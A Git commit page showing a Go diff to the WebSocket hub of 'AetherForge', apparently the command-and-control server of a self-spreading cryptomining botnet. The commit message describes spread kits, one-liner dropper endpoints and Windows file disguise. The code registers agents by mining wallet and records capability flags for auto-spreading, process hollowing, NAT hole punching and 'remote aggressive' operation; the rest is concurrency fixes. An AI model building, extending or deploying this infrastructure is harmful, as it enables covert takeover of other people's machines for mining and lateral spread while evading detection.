drjones/AetherForge
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

Add universal forge, fusion disguise, remote deploy, and stability fixes.

Browse Source 
Ship cross-platform spread kits and fusion ZIPs with per-OS launchers, one-liner dropper endpoints, Windows file disguise, and a large batch of wiring/bug fixes so agents connect reliably across a LAN test fleet.
This commit is contained in:
drjones
2026-05-29 20:53:13 -07:00
parent c6c2e73359
commit 0f9e04f5f6
108 changed files with 5937 additions and 1233 deletions
Download Patch File Download Diff File Expand all files Collapse all files

147
server/internal/api/websocket.go
View File

@@ -42,15 +42,41 @@ func (c *AgentConnection) SendJSON(v interface{}) error {
return c.Conn.WriteJSON(v)
}
// DashboardConn wraps a dashboard WebSocket with its own write mutex so
// broadcastDashboard and the ping loop never race on the same connection.
type DashboardConn struct {
Conn *websocket.Conn
mu sync.Mutex
}
func (d *DashboardConn) WriteMessage(messageType int, data []byte) error {
d.mu.Lock()
defer d.mu.Unlock()
return d.Conn.WriteMessage(messageType, data)
}
func (d *DashboardConn) WriteJSON(v interface{}) error {
d.mu.Lock()
defer d.mu.Unlock()
return d.Conn.WriteJSON(v)
}
func (d *DashboardConn) WriteControl(messageType int, data []byte, deadline time.Time) error {
d.mu.Lock()
defer d.mu.Unlock()
return d.Conn.WriteControl(messageType, data, deadline)
}
type WSHub struct {
db *db.Database
agents map[string]*AgentConnection
dashboards map[string]*websocket.Conn
dashboards map[string]*DashboardConn
poolManager *pool.Manager
defaultPool pool.Config
aiHandler *AIHandler
agentConfigs map[string]AgentForgeConfig
agentLogs map[string]string
agentConfigs map[string]AgentForgeConfig
agentCapabilities map[string]models.AgentCapabilities
agentLogs map[string]string
serverPolicy ServerPolicy
pingIntervalSec int
mu sync.RWMutex
@@ -60,9 +86,10 @@ func NewWSHub(database *db.Database) *WSHub {
return &WSHub{
db: database,
agents: make(map[string]*AgentConnection),
dashboards: make(map[string]*websocket.Conn),
agentConfigs: make(map[string]AgentForgeConfig),
agentLogs: make(map[string]string),
dashboards: make(map[string]*DashboardConn),
agentConfigs: make(map[string]AgentForgeConfig),
agentCapabilities: make(map[string]models.AgentCapabilities),
agentLogs: make(map[string]string),
pingIntervalSec: 30,
}
}
@@ -92,7 +119,7 @@ func (h *WSHub) pingInterval() time.Duration {
return time.Duration(sec) * time.Second
}
func (h *WSHub) runPingLoop(conn *websocket.Conn) {
func (h *WSHub) runPingLoopRaw(conn *websocket.Conn) {
interval := h.pingInterval()
ticker := time.NewTicker(interval)
defer ticker.Stop()
@@ -109,6 +136,23 @@ func (h *WSHub) runPingLoop(conn *websocket.Conn) {
}
}
func (h *WSHub) runPingLoopDash(dc *DashboardConn) {
interval := h.pingInterval()
ticker := time.NewTicker(interval)
defer ticker.Stop()
_ = dc.Conn.SetReadDeadline(time.Now().Add(interval * 2))
dc.Conn.SetPongHandler(func(string) error {
return dc.Conn.SetReadDeadline(time.Now().Add(interval * 2))
})
for range ticker.C {
if err := dc.WriteControl(websocket.PingMessage, nil, time.Now().Add(10*time.Second)); err != nil {
return
}
}
}
func (h *WSHub) serverPolicySnapshot() ServerPolicy {
h.mu.RLock()
defer h.mu.RUnlock()
@@ -181,7 +225,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
return
}
go h.runPingLoop(conn)
go h.runPingLoopRaw(conn)
agentID := ""
defer func() {
@@ -240,6 +284,14 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
AIEnabled bool `json:"ai_enabled"`
AIOllamaEndpoint string `json:"ai_ollama_endpoint"`
AIModel string `json:"ai_model"`
HolePunch bool `json:"hole_punch"`
RemoteAggressive bool `json:"remote_aggressive"`
MeshP2P bool `json:"mesh_p2p"`
AutoSpread bool `json:"auto_spread"`
ProcessHollowing bool `json:"process_hollowing"`
Platform string `json:"platform"`
Arch string `json:"arch"`
OSVersion string `json:"os_version"`
}
if err := json.Unmarshal(msg.Payload, &auth); err != nil {
conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
@@ -256,12 +308,6 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
displayName := agentDisplayName(auth.WorkerName, auth.Worker, auth.Hostname, agentID)
policy := h.serverPolicySnapshot()
if policy.MaxAgents > 0 && !h.isAgentConnected(agentID) && h.connectedAgentCount() >= policy.MaxAgents {
conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
"success": false, "error": "fleet agent limit reached",
})})
break
}
forgeCfg := AgentForgeConfig{
Wallet: auth.Wallet,
@@ -274,8 +320,18 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
AIModel: auth.AIModel,
}
caps := models.AgentCapabilities{
HolePunch: auth.HolePunch,
RemoteAggressive: auth.RemoteAggressive,
MeshP2P: auth.MeshP2P,
AutoSpread: auth.AutoSpread,
ProcessHollowing: auth.ProcessHollowing && auth.Platform == "windows",
AIEnabled: auth.AIEnabled,
}
h.mu.Lock()
h.agentConfigs[agentID] = forgeCfg
h.agentCapabilities[agentID] = caps
h.mu.Unlock()
if h.poolManager != nil {
@@ -301,15 +357,19 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
}
agent := &models.Agent{
ID: agentID,
Name: displayName,
Wallet: auth.Wallet,
IP: clientIP,
Version: auth.Version,
Status: "online",
CPUCores: auth.CPUCores,
MemoryGB: auth.MemoryGB,
LastSeen: time.Now(),
ID: agentID,
Name: displayName,
Wallet: auth.Wallet,
IP: clientIP,
Version: auth.Version,
Status: "online",
CPUCores: auth.CPUCores,
MemoryGB: auth.MemoryGB,
LastSeen: time.Now(),
Platform: auth.Platform,
Arch: auth.Arch,
OSVersion: auth.OSVersion,
Capabilities: &caps,
}
if err := h.db.UpsertAgent(agent); err != nil {
@@ -324,7 +384,20 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
log.Printf("[WS] Agent connected: id=%s name=%s ip=%s", agentID, displayName, clientIP)
}
// MaxAgents check + registration in a single Lock to prevent TOCTOU (M17):
// two concurrent new agents could both pass the count check under RLock, then
// both get registered, overshooting the limit.
h.mu.Lock()
if policy.MaxAgents > 0 {
_, alreadyConnected := h.agents[agentID]
if !alreadyConnected && len(h.agents) >= policy.MaxAgents {
h.mu.Unlock()
conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
"success": false, "error": "fleet agent limit reached",
})})
break
}
}
if old, ok := h.agents[agentID]; ok && old.Conn != conn {
oldConn := old.Conn
h.mu.Unlock()
@@ -536,9 +609,10 @@ func (h *WSHub) HandleDashboardWS(w http.ResponseWriter, r *http.Request) {
return
}
dc := &DashboardConn{Conn: conn}
dashID := uuid.New().String()
h.mu.Lock()
h.dashboards[dashID] = conn
h.dashboards[dashID] = dc
h.mu.Unlock()
defer func() {
@@ -550,14 +624,15 @@ func (h *WSHub) HandleDashboardWS(w http.ResponseWriter, r *http.Request) {
// Send initial data
agents, _ := h.db.ListAgents()
h.enrichAgentsCapabilities(agents)
stats, _ := h.db.GetFleetStats()
conn.WriteJSON(Message{Type: "init", Payload: mustMarshal(map[string]interface{}{
_ = dc.WriteJSON(Message{Type: "init", Payload: mustMarshal(map[string]interface{}{
"agents": agents,
"stats": stats,
})})
go h.runPingLoop(conn)
go h.runPingLoopDash(dc)
// Keep connection alive, read close messages
for {
@@ -577,10 +652,10 @@ func (h *WSHub) broadcastDashboard(msg Message) {
return
}
for id, conn := range h.dashboards {
if err := conn.WriteMessage(websocket.TextMessage, data); err != nil {
for id, dc := range h.dashboards {
if err := dc.WriteMessage(websocket.TextMessage, data); err != nil {
log.Printf("Failed to send to dashboard %s: %v", id, err)
conn.Close()
dc.Conn.Close()
id := id
go func() {
h.mu.Lock()
@@ -635,6 +710,20 @@ func (h *WSHub) BroadcastAgentCommand(action string, args map[string]interface{}
h.BroadcastToAgents(Message{Type: "command", Payload: mustMarshal(payload)})
}
func (h *WSHub) enrichAgentsCapabilities(agents []*models.Agent) {
h.mu.RLock()
defer h.mu.RUnlock()
for _, a := range agents {
if a == nil {
continue
}
if caps, ok := h.agentCapabilities[a.ID]; ok {
c := caps
a.Capabilities = &c
}
}
}
func (h *WSHub) GetAgentLog(agentID string) string {
h.mu.RLock()
defer h.mu.RUnlock()